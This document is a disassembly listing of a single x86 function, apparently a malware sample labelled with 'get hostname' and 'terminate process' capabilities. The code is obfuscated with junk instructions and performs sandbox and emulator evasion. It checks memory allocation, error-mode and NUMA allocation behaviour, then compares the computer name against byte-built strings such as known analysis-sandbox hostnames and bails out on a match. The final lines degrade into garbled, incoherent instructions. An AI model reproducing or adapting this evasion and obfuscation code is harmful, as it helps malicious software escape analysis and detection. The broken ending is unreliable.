Function at 0x18d143d
Capabilities:
Get hostname
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
pushfd
xor ecx, 0x8226f9ac
xor ecx, 0x8226f9ac
popfd
push ecx
pop ecx
push 0x6400000
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
pushfd
push 0x7bf60a29
add esp, 4
popfd
xchg edx, edx
test eax, eax
pushfd
push edi
add esp, 4
popfd
pushfd
inc esi
dec esi
popfd
je 0x18d215a
push ebx
pop ebx
mov dword [ebp - 0x41c], eax
xchg edi, edi
push ecx
push ebx
pop ebx
pop ecx
push 0x6400000
push 0
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_memset]
add esp, 0xc
xchg ebx, eax
xchg ebx, eax
pushfd
push ebx
add esp, 4
popfd
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
push edi
pop edi
push 0x400
call dword [sym.imp.kernel32.dll_SetErrorMode]
mov edx, edx
push 0
call dword [sym.imp.kernel32.dll_SetErrorMode]
xchg edi, edi
pushfd
inc ebx
dec ebx
popfd
cmp eax, 0x400
pushfd
push edi
add esp, 4
popfd
xchg edi, edi
jne 0x18d215a
pushfd
push 0xf2ef5786
add esp, 4
popfd
push 0
push 4
push 0x3000
push 0x3e8
push 0
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_VirtualAllocExNuma]
pushfd
xor ebx, 0x34cab8ad
xor ebx, 0x34cab8ad
popfd
test eax, eax
push eax
push edi
pop edi
pop eax
je 0x18d215a
pushfd
push ebx
add esp, 4
popfd
mov ebx, ebx
mov dword [ebp - 0x20e], 0x104
xchg edi, ebx
xchg ebx, edi
lea eax, [ebp - 0x313]
push edx
push ebx
pop ebx
pop edx
push ebx
push eax
pop eax
pop ebx
lea ebx, [ebp - 0x20e]
pushfd
push edi
add esp, 4
popfd
xchg edi, ecx
xchg ecx, edi
push ebx
push eax
call dword [sym.imp.kernel32.dll_GetComputerNameA]
pushfd
xor ebx, 0x51cf906b
xor ebx, 0x51cf906b
popfd
pushfd
push 0xfb032f78
add esp, 4
popfd
test eax, eax
pushfd
push edi
add esp, 4
popfd
je 0x18d1893
xchg edi, eax
xchg edi, eax
lea eax, [ebp - 0x418]
push ebx
pop ebx
mov ebx, 0x61
pushfd
push 0x2b7b093
add esp, 4
popfd
sub bl, 0x13
pushfd
inc ebx
dec ebx
popfd
mov byte [eax], bl
xchg edi, edi
add bl, 0x18
xchg edi, edi
push ebx
pop ebx
mov byte [eax + 1], bl
xchg edx, edx
sub bl, 0xc
pushfd
push 0xa791b87c
add esp, 4
popfd
pushfd
push 0x54af4677
add esp, 4
popfd
mov byte [eax + 2], bl
xchg ecx, ecx
add bl, 0x1a
push eax
push edx
pop edx
pop eax
mov byte [eax + 3], bl
push ebx
push ecx
pop ecx
pop ebx
xchg esi, ebx
xchg ebx, esi
sub bl, 0x2e
xchg ebx, edi
xchg edi, ebx
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 4], bl
pushfd
push 0x8e0e2f5a
add esp, 4
popfd
add bl, 0x1c
xchg edx, edx
xchg edx, ebx
xchg ebx, edx
mov byte [eax + 5], bl
pushfd
push 0xd90bf4f4
add esp, 4
popfd
sub bl, 0x12
pushfd
inc edi
dec edi
popfd
pushfd
inc esi
dec esi
popfd
mov byte [eax + 6], bl
pushfd
push 0x8b120936
add esp, 4
popfd
push esi
push edx
pop edx
pop esi
add bl, 0x16
push edi
pop edi
xchg ebx, ebx
mov byte [eax + 7], bl
pushfd
push esi
add esp, 4
popfd
xchg ecx, ecx
sub bl, 0x1e
pushfd
xor eax, 0x75bde22b
xor eax, 0x75bde22b
popfd
mov byte [eax + 8], bl
mov ebx, ebx
mov byte [eax + 9], 0
push edx
pop edx
mov edx, edx
lea ebx, [ebp - 0x313]
xchg ecx, ecx
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
inc ebx
dec ebx
popfd
test eax, eax
xchg ebx, esi
xchg esi, ebx
je 0x18d215a
pushfd
push 0x62f15b5f
add esp, 4
popfd
lea eax, [ebp - 0x418]
pushfd
push esi
add esp, 4
popfd
pushfd
push ebx
add esp, 4
popfd
mov ebx, 0x61
pushfd
push esi
add esp, 4
popfd
pushfd
push ebx
add esp, 4
popfd
sub bl, 0x1c
xchg ebx, esi
xchg esi, ebx
mov edi, edi
mov byte [eax], bl
push edi
push ecx
pop ecx
pop edi
xchg edx, ecx
xchg ecx, edx
add bl, 7
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 1], bl
xchg ecx, ecx
xchg esi, esi
sub bl, 3
push edx
pop edx
mov edi, edi
mov byte [eax + 2], bl
pushfd
push esi
add esp, 4
popfd
mov edx, edx
sub bl, 6
pushfd
push 0x918818ad
add esp, 4
popfd
mov eax, eax
mov byte [eax + 3], bl
pushfd
push ebx
add esp, 4
popfd
push ecx
pop ecx
add bl, 0x17
push edi
push eax
pop eax
pop edi
mov eax, eax
mov byte [eax + 4], bl
push esi
pop esi
pushfd
push 0xf439241d
add esp, 4
popfd
mov byte [eax + 5], 0
push ecx
push eax
pop eax
pop ecx
pushfd
push 0x22c3577b
add esp, 4
popfd
lea ebx, [ebp - 0x313]
pushfd
inc eax
dec eax
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
inc ebx
dec ebx
popfd
test eax, eax
pushfd
push edx
add esp, 4
popfd
je 0x18d215a
mov esi, esi
lea eax, [ebp - 0x418]
pushfd
xor esi, 0xb4b4ac6c
xor esi, 0xb4b4ac6c
popfd
mov esi, esi
mov ebx, 0x61
pushfd
push 0x3f1b7efc
add esp, 4
popfd
xchg ecx, edx
xchg edx, ecx
add bl, 0x13
pushfd
push edx
add esp, 4
popfd
mov byte [eax], bl
mov eax, eax
add bl, 6
pushfd
push ecx
add esp, 4
popfd
xchg ebx, esi
xchg esi, ebx
mov byte [eax + 1], bl
xchg edx, eax
xchg edx, eax
mov byte [eax + 2], 0
push edx
push eax
pop eax
pop edx
push ecx
pop ecx
lea ebx, [ebp - 0x313]
mov esi, esi
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
push eax
pop eax
test eax, eax
push ecx
pop ecx
xchg ecx, eax
xchg ecx, eax
je 0x18d215a
pushfd
xor eax, 0x6608be14
xor eax, 0x6608be14
popfd
lea eax, [ebp - 0x418]
pushfd
inc edi
dec edi
popfd
nop
mov ebx, 0x61
pushfd
xor ecx, 0xb9c11deb
xor ecx, 0xb9c11deb
popfd
sub bl, 0x14
pushfd
push ebx
add esp, 4
popfd
mov byte [eax], bl
push ecx
pop ecx
xchg ecx, eax
xchg ecx, eax
sub bl, 0xc
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 1], bl
mov edi, edi
xchg esi, eax
xchg esi, eax
add bl, 8
pushfd
push edi
add esp, 4
popfd
pushfd
inc esi
dec esi
popfd
mov byte [eax + 2], bl
pushfd
push 0x94e96ad5
add esp, 4
popfd
pushfd
inc ebx
dec ebx
popfd
add bl, 5
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 3], bl
pushfd
push 0xfb0666c8
add esp, 4
popfd
mov byte [eax + 4], 0
pushfd
push edi
add esp, 4
popfd
lea ebx, [ebp - 0x313]
pushfd
inc edx
dec edx
popfd
pushfd
xor edi, 0x27237a5a
xor edi, 0x27237a5a
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
inc eax
dec eax
popfd
push ebx
pop ebx
test eax, eax
pushfd
push 0x59663711
add esp, 4
popfd
nop
je 0x18d215a
push eax
pop eax
pushfd
push 0x52dcb90f
add esp, 4
popfd
xchg edx, edi
xchg edi, edx
pushfd
push 0xa56db60f
add esp, 4
popfd
lea eax, [ebp - 0x20a]
pushfd
xor edx, 0x19e4432
xor edx, 0x19e4432
popfd
push 0x104
push eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
nop
pushfd
push ecx
add esp, 4
popfd
cmp eax, 0
pushfd
xor edi, 0xec8105bc
xor edi, 0xec8105bc
popfd
pushfd
push 0x47fc79b9
add esp, 4
popfd
jle 0x18d2146
push ebx
push edx
pop edx
pop ebx
pushfd
inc eax
dec eax
popfd
lea eax, [ebp - 0x20a]
push esi
push ecx
pop ecx
pop esi
pushfd
push 0x36c5f524
add esp, 4
popfd
push eax
call dword [sym.imp.Shlwapi.dll_PathFindFileNameA]
push esi
pop esi
push esi
pop esi
lea ebx, [ebp - 0x105]
xchg ebx, eax
xchg ebx, eax
push esi
pop esi
push eax
push ebx
call dword [sym.imp.msvcrt.dll_strcpy]
push esi
push edx
pop edx
pop esi
lea eax, [ebp - 0x418]
mov eax, eax
mov esi, esi
mov ebx, 0x61
pushfd
push 0x82639ca3
add esp, 4
popfd
pushfd
push 0x3da77f0a
add esp, 4
popfd
sub bl, 0x1e
push ecx
pop ecx
mov byte [eax], bl
xchg edx, edi
xchg edi, edx
sub bl, 9
pushfd
push 0x11932744
adc dword [ebx - 0x7762fb3c], eax
pop eax
add dword [eax + 0x56], edx